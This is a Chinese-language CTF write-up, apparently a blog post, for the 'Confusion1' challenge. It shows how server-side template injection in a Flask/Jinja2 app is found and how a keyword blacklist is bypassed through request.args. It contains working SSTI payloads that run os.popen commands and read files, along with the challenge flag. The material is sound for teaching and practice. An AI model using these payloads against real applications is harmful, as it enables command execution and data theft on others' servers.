【攻防世界】Confusion1

进入题目,是一条蟒蛇缠绕着一头大象,结合题目描述,推断出此系统使用了php+python,并且是Python代码问题(php的标志是大象,Python的标志是蛇)。

 

顶上有 Login 和 Register 两个按钮,点进去看却都是Not Found,不过在源码中错误信息中提示了flag的位置

 

根据 PHP+Python ,猜测存在 SSTI 漏洞,在url后面添加{{3+3}},

 

界面返回2,我们输入的1+1被执行了,说明服务器执行了{{}}里面这一段代码,存在SSTI漏洞。

猜测这里使用的应该是 Python 的 Flask 框架( Flask 使用 Jinja2 作为模板引擎 ) 。

所以本题的思路就是,利用SSTI读取flag文件。

SSTI常用的注入:

__class__() 返回对象的类

__base__()/__mro__() 返回类所继承的基类

__subclasses__() 返回继承类的所有子类

尝试使用经典payload直接读取flag:

{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

失败,被过滤了

 

经过尝试,发现系统过滤了class、 subclasses、 read等关键方法。

{{ ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read() }}
{{ ('').__class__.__base__.__subclasses__()[91].__init__.__globals__['open']('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').readlines() }}

 

但是并未过滤request。

request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " 。

所以我们可以利用request.args绕过输入黑名单,进行沙箱逃逸。

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。

payload如下:

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

解析

  1. {{ }}:
    • 这是 Jinja2 模板引擎的语法,用于输出变量或表达式的值。
  2. ''[request.args.a]...:
    • 这里使用单引号字符串作为起点,然后通过访问 request.args 字典来动态构建表达式。request.args 是 Flask 中用于访问 URL 查询参数的字典。
  3. request.args.a:
    • 根据 URL 参数,这里 a 被设置为 __class__,它是一个内置属性,指向对象的类。
  4. request.args.b:
    • 根据 URL 参数,这里 b 被设置为 __mro__,它是一个元数据属性,返回类的线性化方法解析顺序(Method Resolution Order)。
  5. [2]:
    • 这里尝试访问 __mro__ 返回列表的第三个元素(索引从 0 开始),通常是 type 类。
  6. request.args.c:
    • 根据 URL 参数,这里 c 被设置为 __subclasses__,这是一个内置方法,返回类的所有子类列表。
  7. ()[40]:
    • 这里尝试访问 __subclasses__() 返回列表的第 41 个元素(索引从 0 开始)。这个索引可能被选择来访问一个特定的子类,例如 strint,这取决于具体的 Python 版本和环境。
  8. ('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt'):
    • 这是尝试调用选定子类的构造函数,传入文件路径作为参数。
  9. [request.args.d]:
    • 根据 URL 参数,这里 d 被设置为 read,这是一个方法名,用于读取文件内容。

拿到flag

 

cyberpeace{dcbc3e5a28ac5d08b68cc76520cbd96f}

 

 

 

posted @ 2025-05-02 22:58  Antoniiiia  阅读(98)  评论(0)    收藏  举报